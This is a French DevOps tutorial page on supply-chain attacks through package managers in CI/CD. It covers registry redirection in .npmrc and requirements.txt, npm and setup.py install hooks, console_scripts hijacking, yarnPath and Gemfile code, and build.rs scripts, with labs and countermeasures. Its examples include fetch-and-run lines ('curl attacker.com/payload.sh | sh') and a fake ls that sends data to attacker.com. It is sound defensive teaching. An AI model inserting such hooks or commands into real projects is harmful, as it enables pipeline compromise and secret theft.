Aller au contenu
English
Compte : non connecté, synchronisation possible Mon apprentissage
Selectionner le thème
English

Attaques via les gestionnaires de paquets en CI/CD

Par mis à jour le

Améliorer cette page

Un simple install dans un pipeline peut exécuter du code arbitraire : il suffit qu'un fichier de configuration du gestionnaire de paquets (.npmrc, package.json, requirements.txt, .yarnrc.yml, Cargo.toml) soit piégé. Cette leçon présente 5 techniques (redirection de registre, scripts de lifecycle, détournement de commande, configuration exécutable, script de build) sur 7 gestionnaires (npm, pip, poetry, uv, yarn, bundler, cargo), avec un lab par technique et les contre-mesures. Elle s'adresse aux DevOps et développeurs qui maintiennent des pipelines CI/CD, avec des notions de ligne de commande.

Un exemple suffit à fixer l'idée : une pull request ajoute un fichier .npmrc d'une seule ligne à la racine du projet. Rien de suspect, juste une configuration de registre. Pourtant, au prochain npm install dans le pipeline, toutes les dépendances sont téléchargées depuis un serveur contrôlé par l'attaquant, sans code malveillant dans le diff ni alerte. Pour la défense côté dépendances (typosquatting, dependency confusion, verrouillage), voyez sécuriser les dépendances npm, PyPI et Go ; pour filtrer ce qui entre, le firewall d'artefacts.

  • Expliquer pourquoi les gestionnaires de paquets sont un vecteur d'attaque sous-estimé en CI/CD.
  • Reconnaître 5 techniques concrètes : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, scripts de build.
  • Reproduire chaque attaque dans un lab sécurisé.
  • Appliquer les contre-mesures pour protéger vos pipelines.

Pour les labs, prévoyez un poste avec Node.js, npm et Python 3, ainsi qu'un accès réseau à PyPI (pypi.org) : les labs pip téléchargent setuptools pour construire le paquet dans un environnement isolé. Le lab de la technique 4 demande aussi yarn et Ruby (bundler), celui de la technique 5 Rust (cargo) : sautez-les si ces outils manquent.

Le diagramme suivant montre comment un attaquant exploite les fichiers de configuration des gestionnaires de paquets pour exécuter du code dans un pipeline CI/CD, et comment les contre-mesures bloquent chaque étape.

Flux d'attaque via les gestionnaires de paquets en CI/CD : PR malveillante, dépendance compromise ou dependency confusion déposent des fichiers piégés (.npmrc, package.json, requirements.txt, .yarnrc.yml, build.rs) que le pipeline exécute, avec exfiltration de secrets, backdoor ou mouvement latéral ; CODEOWNERS, lockfile avec hashes, --ignore-scripts et cargo audit coupent la chaîne.VecteursFichiers piégés dans le repoImpactsContre-mesuresAttaquantPR malveillante(fichier de config modifié)Dépendance compromise(paquet avec scripts malveillants)Dependency confusion(paquet public > interne)package.jsonpreinstall / postinstallrequirements.txt-i evil.com / setup.py.yarnrc.yml / Gemfileconfig exécutable.npmrcregistry redirectPipeline CI/CDnpm install · pip install · cargo buildbuild.rsexec avant build⚠ CODE MALVEILLANT EXÉCUTÉExfiltration de secretstokens, clés APIBackdoor dans les artefactsimages, binairesMouvement latéralaccès réseau interneCODEOWNERSsur fichiers sensiblesLockfile + hashesintégrité vérifiéebloquent--ignore-scripts--only-binary=:all:cargo auditscanner les build.rs
Source · SVG
Échap pour fermer, + et − pour zoomer, défilement pour se déplacer. 100 %

Pourquoi les gestionnaires de paquets sont dangereux

Section intitulée « Pourquoi les gestionnaires de paquets sont dangereux »

Dans un pipeline CI/CD, npm install, pip install -r requirements.txt ou cargo build sont des commandes considérées comme sûres. Elles font partie de chaque build, de chaque déploiement. Personne ne les remet en question.

Le problème : ces commandes ne se contentent pas de télécharger du code. Elles lisent des fichiers de configuration, exécutent des scripts, compilent du code, et chacune de ces étapes peut être détournée pour exécuter du code arbitraire.

Le fichier piégé n'apparaît pas par magie dans le dépôt : il faut un chemin d'introduction. Ces chemins vont du plus visible (une pull request qu'une revue attentive peut intercepter) au plus discret (un cache CI empoisonné, qu'aucune revue de code ne regarde). Trois vecteurs ne passent par aucun diff du projet : la dépendance compromise, la dependency confusion (un paquet public portant le nom d'un paquet interne, que le gestionnaire télécharge à sa place) et le cache empoisonné. C'est pourquoi la protection ne peut pas reposer sur la seule revue humaine.

VecteurTechniqueFichier piégé
PR malveillanteAjout/modification d'un fichier de config.npmrc, requirements.txt, .yarnrc.yml
Dépendance compromiseLe paquet contient un script post-installpackage.json, setup.py
Dependency confusionPaquet interne remplacé par un paquet publicrequirements.txt, package.json
Fork empoisonnéLe fork contient des fichiers de config modifiésCargo.toml + build.rs
Cache empoisonnéLe cache CI contient des fichiers modifiés.npmrc, .bundle/config

Avant de détailler chaque technique, ce tableau sert de carte : il associe chaque gestionnaire aux fichiers de configuration qui, chez lui, peuvent exécuter du code. Repérez la colonne Fichiers de config dangereux, ce sont exactement ceux que vous devrez placer sous revue obligatoire dans la dernière section. Un même fichier peut porter plusieurs techniques : package.json, par exemple, combine redirection de registre (via un .npmrc voisin) et scripts de lifecycle.

GestionnaireÉcosystèmeFichiers de config dangereuxTechniques
npm (et npx)Node.js.npmrc, package.json, node_modules/.bin/Registre, lifecycle, binaire
pipPythonrequirements.txt, setup.pyRegistre, post-install, hijack
poetryPythonpyproject.tomlRegistre, scripts, post-install
uvPythonrequirements.txtMêmes que pip
yarnNode.js.yarnrc.ymlConfig exécutable
bundlerRubyGemfile, .bundle/configConfig exécutable
cargoRustCargo.toml, build.rsScript de build

La redirection de registre est l'attaque la plus simple : un fichier de configuration redirige le gestionnaire de paquets vers un registre contrôlé par l'attaquant. Les paquets téléchargés peuvent contenir du code malveillant, tout en portant les mêmes noms et versions que les paquets légitimes.

Un fichier .npmrc placé à la racine du projet est lu automatiquement par npm install et npx. Une seule ligne suffit :

.npmrc
registry=https://evil.example.com/

À partir de ce moment, toutes les dépendances du projet sont téléchargées depuis le registre malveillant. Le package-lock.json ne suffit pas : ses hashes vérifient qu'un paquet n'a pas changé, pas que le registre est légitime, et npm suit celui que .npmrc désigne. Sans lockfile, ou avec un lockfile régénéré par l'attaquant dans la même PR, rien ne contredit les paquets servis.

Peu de développeurs le savent : requirements.txt accepte des options de ligne de commande, pas seulement des noms de paquets. L'option -i (ou --index-url) redirige pip vers un autre registre :

requirements.txt
-i https://evil.example.com/simple/
requests==2.31.0
flask==3.0.0

La commande pip install -r requirements.txt téléchargera requests et flask depuis evil.example.com au lieu de PyPI. L'option --extra-index-url est encore plus vicieuse : elle ajoute un registre supplémentaire, et pip choisit la version la plus récente entre les deux registres, ce qui permet une attaque par dependency confusion.

poetry : sources malveillantes dans pyproject.toml

Section intitulée « poetry : sources malveillantes dans pyproject.toml »

Poetry permet de définir des sources de paquets dans pyproject.toml :

pyproject.toml
[[tool.poetry.source]]
name = "internal"
url = "https://evil.example.com/simple/"
priority = "primary"

Avec priority = "primary", cette source est consultée avant PyPI pour tous les paquets du projet.

  1. Créer un projet npm avec .npmrc malveillant :

    Fenêtre de terminal
    mkdir lab-npm-registry && cd lab-npm-registry
    echo '{"name":"lab","dependencies":{"is-odd":"3.0.1"}}' > package.json
    echo 'registry=https://evil.example.com/' > .npmrc
  2. Lancer npm install et observer :

    Fenêtre de terminal
    timeout 10 npm install 2>&1 || true

    Résultat attendu : la commande échoue sans rien installer, soit par une erreur DNS, soit au bout du timeout de 10 secondes (npm peut n'afficher aucun message avant l'arrêt). En production, le registre malveillant répondrait avec des paquets piégés.

  3. Tester la même chose avec pip :

    Les distributions récentes refusent pip install hors d'un environnement virtuel (PEP 668) : le lab en crée un, jetable.

    Fenêtre de terminal
    cd .. && mkdir lab-pip-registry && cd lab-pip-registry
    python3 -m venv .venv && . .venv/bin/activate
    printf -- '-i https://evil.example.com/simple/\nrequests==2.31.0\n' > requirements.txt
    pip install -r requirements.txt 2>&1 || true

    Résultat attendu : pip affiche une erreur de connexion vers evil.example.com, sans rien installer.

  4. Nettoyer :

    Fenêtre de terminal
    deactivate && cd .. && rm -rf lab-npm-registry lab-pip-registry

Technique 2 : Scripts de lifecycle et post-installation

Section intitulée « Technique 2 : Scripts de lifecycle et post-installation »

Certains gestionnaires de paquets exécutent automatiquement des scripts avant, pendant ou après l'installation d'un paquet. Un attaquant peut exploiter ces mécanismes pour exécuter du code arbitraire lors d'un simple install.

Le fichier package.json supporte des lifecycle scripts qui s'exécutent automatiquement :

ScriptQuand il s'exécute
preinstallAvant l'installation des dépendances
installPendant l'installation
postinstallAprès l'installation des dépendances
prepareAprès install et avant publish
prestartAvant npm start
pretestAvant npm test

Un package.json malveillant peut exécuter n'importe quelle commande :

package.json
{
"name": "paquet-legitime",
"version": "1.0.0",
"scripts": {
"preinstall": "curl https://attacker.com/payload.sh | sh"
}
}

La commande npm install exécutera curl ... | sh avant même d'installer les dépendances. Deux incidents de septembre 2025 montrent les deux faces du risque. Le 8 septembre, le compte du mainteneur Qix est compromis par hameçonnage et des versions piégées de 18 paquets, dont debug et chalk (plus de deux milliards de téléchargements hebdomadaires cumulés), sont publiées, avec une charge qui détourne les transactions de cryptomonnaie dans le navigateur ; elles restent en ligne environ deux heures. C'est la compromission d'un mainteneur à l'état pur, sans script d'installation. Une semaine plus tard, le ver Shai-Hulud se propage de lui-même en injectant un script postinstall dans les paquets des mainteneurs qu'il compromet, chaque infection en déclenchant de nouvelles. Sa variante Shai-Hulud 2.0 (novembre 2025) est passée à preinstall pour s'exécuter plus tôt et réduire la fenêtre de détection.

Depuis npm v12 (8 juillet 2026), les scripts preinstall, install et postinstall des dépendances ne s'exécutent plus par défaut, mais ceux du projet lui-même continuent de tourner : c'est le cas du package.json piégé ci-dessus, modifié par une PR. Ce blocage ferme donc l'attaque par dépendance compromise, pas celle par fichier de configuration. Le billet npm ne lance plus les scripts d'installation détaille ce changement et la migration des pipelines.

Quand pip installe un paquet depuis les sources (pas une wheel pré-compilée), il exécute setup.py. Un attaquant peut surcharger la commande d'installation :

setup.py
from setuptools import setup
from setuptools.command.install import install
class MaliciousInstall(install):
def run(self):
# Code exécuté PENDANT l'installation
import os
os.system("curl https://attacker.com/payload.sh | sh")
install.run(self)
setup(
name="paquet-legitime",
version="1.0.0",
cmdclass={"install": MaliciousInstall},
)

La commande pip install ./paquet-legitime ou pip install paquet-legitime (si le paquet est distribué en sdist) exécutera le code malveillant.

  1. Créer un package.json avec preinstall :

    Fenêtre de terminal
    mkdir lab-npm-lifecycle && cd lab-npm-lifecycle
    cat > package.json << 'JSON'
    {
    "name": "lab-lifecycle",
    "version": "1.0.0",
    "scripts": {
    "preinstall": "echo '[LOTP] preinstall RCE' > /tmp/lab-npm-pwned.txt"
    }
    }
    JSON
  2. Lancer npm install :

    Fenêtre de terminal
    npm install --ignore-scripts=false 2>&1
    cat /tmp/lab-npm-pwned.txt

    Résultat attendu : le fichier /tmp/lab-npm-pwned.txt contient [LOTP] preinstall RCE. Le script s'exécute sans aucun avertissement.

  3. Créer un paquet pip avec setup.py malveillant :

    Fenêtre de terminal
    python3 -m venv .venv && . .venv/bin/activate
    mkdir -p lab-pip-setup/malicious_pkg
    cat > lab-pip-setup/malicious_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    from setuptools.command.install import install
    import os
    class Exploit(install):
    def run(self):
    os.system("echo '[LOTP] setup.py RCE' > /tmp/lab-pip-pwned.txt")
    install.run(self)
    setup(name="malicious", version="1.0.0", cmdclass={"install": Exploit})
    PYTHON
  4. Installer le paquet :

    Fenêtre de terminal
    pip install ./lab-pip-setup/malicious_pkg 2>&1
    cat /tmp/lab-pip-pwned.txt

    Résultat attendu : le fichier contient [LOTP] setup.py RCE.

  5. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-npm-pwned.txt /tmp/lab-pip-pwned.txt
    deactivate && cd .. && rm -rf lab-npm-lifecycle

Technique 3 : Détournement de commande (command hijack)

Section intitulée « Technique 3 : Détournement de commande (command hijack) »

Cette technique exploite les mécanismes d'entry points pour remplacer des commandes système par des versions malveillantes. L'attaquant publie un paquet qui déclare un console_scripts portant le nom d'une commande courante (ls, git, curl...).

Les entry points console_scripts permettent à un paquet Python d'installer un exécutable dans le PATH :

setup.py
from setuptools import setup
setup(
name="evil-ls",
version="1.0.0",
py_modules=["evil"],
entry_points={
"console_scripts": [
"ls=evil:main", # Remplace la commande ls !
],
},
)
evil.py
def main():
import subprocess
# Exfiltrer les secrets avant d'exécuter le vrai ls
subprocess.run(["curl", "-s", "https://attacker.com/collect",
"-d", f"PATH={__import__('os').environ.get('PATH', '')}"],
capture_output=True)
# Exécuter le vrai ls pour ne pas éveiller les soupçons
subprocess.run(["/bin/ls"] + __import__('sys').argv[1:])

Après pip install evil-ls, la commande ls du paquet est installée dans le répertoire bin/ de l'environnement Python. Dans un venv ou un pipeline CI/CD où le PATH Python est prioritaire, cette version malveillante de ls sera exécutée à la place de /bin/ls.

Poetry utilise le même mécanisme via pyproject.toml :

pyproject.toml
[project.scripts]
git = "malicious_pkg:hijacked_git"
  1. Créer un paquet avec un console_scripts malveillant :

    Fenêtre de terminal
    python3 -m venv lab-venv && . lab-venv/bin/activate
    mkdir -p lab-hijack/evil_pkg
    cat > lab-hijack/evil_pkg/setup.py << 'PYTHON'
    from setuptools import setup
    setup(
    name="evil-ls",
    version="1.0.0",
    py_modules=["evil"],
    entry_points={"console_scripts": ["ls=evil:main"]},
    )
    PYTHON
    cat > lab-hijack/evil_pkg/evil.py << 'PYTHON'
    def main():
    print("[LOTP] Commande ls détournée !")
    PYTHON
  2. Installer et vérifier :

    Fenêtre de terminal
    pip install ./lab-hijack/evil_pkg 2>&1
    which -a ls
    ls

    Résultat attendu : which -a ls montre au moins deux entrées, le ls malveillant en tête (dans le bin/ de l'environnement Python activé), puis le ls système. La commande ls affiche alors [LOTP] Commande ls détournée !. Dans un pipeline CI/CD sans alias shell, le ls malveillant serait exécuté en priorité.

  3. Nettoyer immédiatement :

    Fenêtre de terminal
    deactivate && rm -rf lab-hijack lab-venv

Technique 4 : Fichiers de configuration exécutables

Section intitulée « Technique 4 : Fichiers de configuration exécutables »

Certains gestionnaires de paquets utilisent des fichiers de configuration qui sont en réalité du code exécutable. Modifier ces fichiers revient à injecter du code qui sera exécuté lors de la prochaine commande du gestionnaire.

Yarn 2+ utilise un fichier .yarnrc.yml pour sa configuration. La directive yarnPath indique à yarn quel fichier JavaScript exécuter comme gestionnaire de paquets :

.yarnrc.yml
yarnPath: "./malicious.js"
malicious.js
const fs = require("fs");
// Code exécuté AVANT toute commande yarn
fs.writeFileSync("/tmp/yarn-pwned.txt",
"[LOTP] yarnPath RCE, exécuté par yarn\n");
// Même `yarn --version` déclenche l'exécution
process.exit(0);

Chaque commande yarn, y compris yarn --version, exécute d'abord le fichier pointé par yarnPath. C'est un comportement par conception de Yarn 2+ (Plug'n'Play), mais il devient un vecteur d'attaque lorsqu'un attaquant modifie .yarnrc.yml via une PR.

Contrairement aux autres fichiers de configuration, un Gemfile n'est pas du YAML ou du JSON : c'est du code Ruby exécuté par Bundler. Tout code Ruby valide placé dans un Gemfile sera exécuté lors de bundle install :

Gemfile
# Code Ruby exécuté au chargement du Gemfile
File.write("/tmp/bundler-pwned.txt",
"[LOTP] Gemfile RCE, code Ruby exécuté\n")
source "https://rubygems.org"
gem "rake"

Le code Ruby est exécuté avant la résolution des dépendances. Bundler accepte aussi une redirection via .bundle/config :

.bundle/config
---
BUNDLE_GEMFILE: "/chemin/vers/Gemfile-malveillant"

Cette technique redirige bundle install vers un Gemfile arbitraire, même s'il se trouve dans un autre répertoire.

Lab : tester les fichiers de configuration exécutables

Section intitulée « Lab : tester les fichiers de configuration exécutables »
  1. Tester yarn avec yarnPath malveillant :

    Fenêtre de terminal
    mkdir lab-yarn && cd lab-yarn
    echo '{"name":"lab-yarn","version":"1.0.0"}' > package.json
    cat > poc.js << 'JS'
    const fs = require("fs");
    fs.writeFileSync("/tmp/lab-yarn-pwned.txt",
    "[LOTP] yarnPath RCE, même yarn --version l'exécute\n");
    console.log("[POC] Code exécuté via yarnPath");
    process.exit(0);
    JS
    echo 'yarnPath: "./poc.js"' > .yarnrc.yml
    yarn --version 2>&1
    cat /tmp/lab-yarn-pwned.txt

    Résultat attendu : même yarn --version exécute poc.js et crée le fichier. La commande yarn n'est jamais atteinte, le code malveillant prend le contrôle immédiatement.

  2. Tester bundler avec du code Ruby dans le Gemfile :

    Fenêtre de terminal
    cd .. && mkdir lab-bundler && cd lab-bundler
    cat > Gemfile << 'RUBY'
    File.write("/tmp/lab-bundler-pwned.txt",
    "[LOTP] Gemfile RCE, code Ruby exécuté\n")
    source "https://rubygems.org"
    gem "rake"
    RUBY
    ruby -e 'load "./Gemfile"' 2>&1 || true
    cat /tmp/lab-bundler-pwned.txt

    Résultat attendu : même si source provoque une erreur (méthode non définie hors Bundler), le File.write s'exécute avant l'erreur. En contexte Bundler, tout le fichier s'exécute sans erreur.

  3. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-yarn-pwned.txt /tmp/lab-bundler-pwned.txt
    cd .. && rm -rf lab-yarn lab-bundler

Cargo exécute automatiquement un fichier build.rs situé à la racine d'un crate avant de compiler le code Rust. Ce fichier peut contenir n'importe quel code Rust, y compris des appels système :

build.rs
use std::process::Command;
use std::fs;
fn main() {
// Exécuté AUTOMATIQUEMENT avant cargo build
let output = Command::new("id").output().unwrap();
let id = String::from_utf8_lossy(&output.stdout);
fs::write("/tmp/cargo-pwned.txt",
format!("[LOTP] build.rs RCE, {}", id)).unwrap();
}

Le fichier build.rs est exécuté dans ces contextes :

CommandeExécute build.rs ?
cargo buildOui
cargo testOui (compilation requise)
cargo benchOui (compilation requise)
cargo runOui (compilation requise)
cargo checkOui
cargo docOui

Le fichier Cargo.toml peut aussi référencer des dépendances de build qui contiennent elles-mêmes un build.rs :

Cargo.toml
[build-dependencies]
malicious-build-helper = "1.0.0"
  1. Créer un projet Rust avec un build.rs malveillant :

    Fenêtre de terminal
    mkdir lab-cargo && cd lab-cargo
    cat > Cargo.toml << 'TOML'
    [package]
    name = "lab-cargo"
    version = "0.1.0"
    edition = "2021"
    TOML
    mkdir src
    echo 'fn main() { println!("Hello"); }' > src/main.rs
    cat > build.rs << 'RUST'
    use std::process::Command;
    use std::fs;
    fn main() {
    fs::write("/tmp/lab-cargo-pwned.txt",
    "[LOTP] build.rs RCE, code exécuté avant la compilation\n")
    .unwrap();
    let output = Command::new("id").output().unwrap();
    fs::write("/tmp/lab-cargo-id.txt",
    format!("Exécuté en tant que: {}",
    String::from_utf8_lossy(&output.stdout)))
    .unwrap();
    }
    RUST
  2. Lancer cargo build :

    Fenêtre de terminal
    cargo build 2>&1
    cat /tmp/lab-cargo-pwned.txt
    cat /tmp/lab-cargo-id.txt

    Résultat attendu : les deux fichiers sont créés. Le build.rs s'exécute avant la compilation de src/main.rs, avec les droits complets de l'utilisateur du pipeline.

  3. Nettoyer :

    Fenêtre de terminal
    rm -f /tmp/lab-cargo-pwned.txt /tmp/lab-cargo-id.txt
    cd .. && rm -rf lab-cargo

Ces mesures s'appliquent quel que soit l'écosystème, et c'est là leur intérêt : plutôt que de retenir une option par outil, vous mettez en place une poignée de garde-fous qui couvrent tous les vecteurs à la fois. Lisez la colonne Difficulté comme un ordre de déploiement : commencez par les lignes « Faible », qui bloquent déjà les attaques les plus courantes pour un effort minimal, et réservez le pipeline en lecture seule à une seconde étape.

Contre-mesureImpactDifficulté
Fichier lockfile vérifiéDétecte les changements de registre/hashFaible
--ignore-scripts pour npmBloque preinstall/postinstall, y compris ceux du projet que npm 12 laisse s'exécuterFaible
--only-binary=:all: pour pipN'installe que des wheels : aucun setup.py n'est exécutéFaible
Revue des fichiers de config dans les PRDétecte .npmrc, .yarnrc.yml, etc.Moyenne
CODEOWNERS sur les fichiers sensiblesImpose l'approbation de relecteurs désignés (voir plus bas)Moyenne
Pipeline en lecture seule (jeton aux permissions minimales)Limite l'impact d'une exécution de codeÉlevée

Les mesures transversales ne suffisent pas toujours : chaque gestionnaire offre des drapeaux spécifiques pour désamorcer ses propres mécanismes d'exécution. Ouvrez l'onglet de votre écosystème et retenez la première commande, c'est celle qui neutralise le vecteur le plus dangereux (scripts de lifecycle, installation depuis les sources, yarnPath arbitraire).

Fenêtre de terminal
# Désactiver les lifecycle scripts
npm install --ignore-scripts
# Auditer les scripts avant installation
npm pack <paquet> && tar xf <paquet>.tgz && cat package/package.json | jq '.scripts'
# Protéger .npmrc avec CODEOWNERS
echo "/.npmrc @security-team" >> .github/CODEOWNERS

Un fichier CODEOWNERS désigne qui doit approuver une PR qui touche certains chemins. Associé à la règle de protection de branche « Require review from Code Owners », il rend la revue de l'équipe sécurité obligatoire dès qu'une PR modifie l'un de ces fichiers :

.github/CODEOWNERS
# Fichiers de configuration des gestionnaires de paquets
/.npmrc @security-team
/.yarnrc.yml @security-team
/Gemfile @security-team
/.bundle/config @security-team
/build.rs @security-team
# Fichiers qui peuvent contenir des redirections de registre
/requirements.txt @security-team
/pyproject.toml @security-team
/Cargo.toml @security-team

Les symptômes ci-dessous sont ceux qu'un développeur remarque après coup, souvent parce qu'une commande se comporte bizarrement ou qu'un téléchargement part vers un domaine inattendu. Chaque ligne renvoie au fichier de configuration à inspecter en priorité : dans presque tous les cas, la preuve de la compromission est en clair dans un fichier du dépôt ; encore faut-il savoir lequel ouvrir.

SymptômeCause probableSolution
npm install télécharge depuis un registre inconnu.npmrc avec un registry modifiéVérifier .npmrc à la racine et dans ~/.npmrc
pip install échoue avec une erreur de certificat-i vers un registre HTTPS non valide dans requirements.txtInspecter requirements.txt pour les options -i ou --extra-index-url
Un binaire système se comporte étrangementconsole_scripts installe un binaire homonymewhich -a <commande> pour lister toutes les versions
yarn exécute du code inattenduyarnPath pointe vers un fichier malveillantVérifier .yarnrc.yml, yarnPath doit pointer vers .yarn/releases/
cargo build écrit des fichiers inattendusbuild.rs contient du code malveillantLire build.rs et chercher Command::new, fs::write
bundle install exécute des commandesLe Gemfile contient du code Ruby arbitraireChercher system, exec, File.write dans le Gemfile

Ce tableau condense les cinq techniques sur une seule vue. La colonne Déclencheur est la plus instructive : elle montre que le point commun n'est pas le langage mais le moment où le code s'exécute, à l'installation, au build ou dès la première commande. C'est pourquoi une contre-mesure efficace cible ce moment (bloquer les scripts, exiger des artefacts pré-compilés) plutôt qu'un gestionnaire en particulier.

#TechniqueGestionnairesFichier piégéDéclencheur
1Redirection de registrenpm, pip, poetry, uv.npmrc, requirements.txt, pyproject.tomlinstall
2Scripts de lifecyclenpm, pip, poetry, uvpackage.json, setup.pyinstall
3Détournement de commandepip, poetrysetup.py, pyproject.tomlinstall + usage
4Config exécutableyarn, bundler.yarnrc.yml, GemfileToute commande
5Script de buildcargobuild.rsbuild, test, check
  • Les gestionnaires de paquets ne sont pas de simples téléchargeurs : ils exécutent du code à l'installation, au build, et même à la configuration.

  • 5 techniques permettent l'exécution de code arbitraire : redirection de registre, scripts de lifecycle, détournement de commande, fichiers de config exécutables, et scripts de build.

  • Tous les écosystèmes sont concernés : Node.js (npm, yarn), Python (pip, poetry, uv), Ruby (bundler) et Rust (cargo).

  • La technique la plus simple est la redirection de registre (une ligne dans .npmrc ou requirements.txt), la plus dangereuse est le script de lifecycle (exécution automatique sans avertissement).

  • La première barrière est CODEOWNERS : exiger une revue par l'équipe sécurité pour tout fichier de configuration de gestionnaire de paquets. Elle ne voit ni une dépendance compromise ni un cache empoisonné, d'où le complément des lockfiles à hashes et de --ignore-scripts.

  • --ignore-scripts (npm) et --only-binary=:all: (pip) bloquent l'exécution de code à l'installation, mais peuvent casser certains paquets légitimes.

Six questions tirées sur huit : redirection de registre, scripts de lifecycle, yarnPath, build.rs et contre-mesures en CI/CD.

Contrôle de connaissances

Validez vos connaissances avec ce quiz interactif

6 questions
6 min.
70% requis

Informations

  • Le chronomètre démarre au clic sur Démarrer
  • Questions à choix multiples, vrai/faux et réponses courtes
  • Vous pouvez naviguer entre les questions
  • Les résultats détaillés sont affichés à la fin

Lance le quiz et démarre le chronomètre

Ce projet vous est utile ?

Les guides, formations, quiz et labs restent gratuits. Si vous les utilisez régulièrement, vous pouvez contribuer à leur maintenance et à leur développement.

Devenir membre de soutien (nouvel onglet) Soutenir une fois (nouvel onglet) En savoir plus

Suivez aussi le projet sur LinkedIn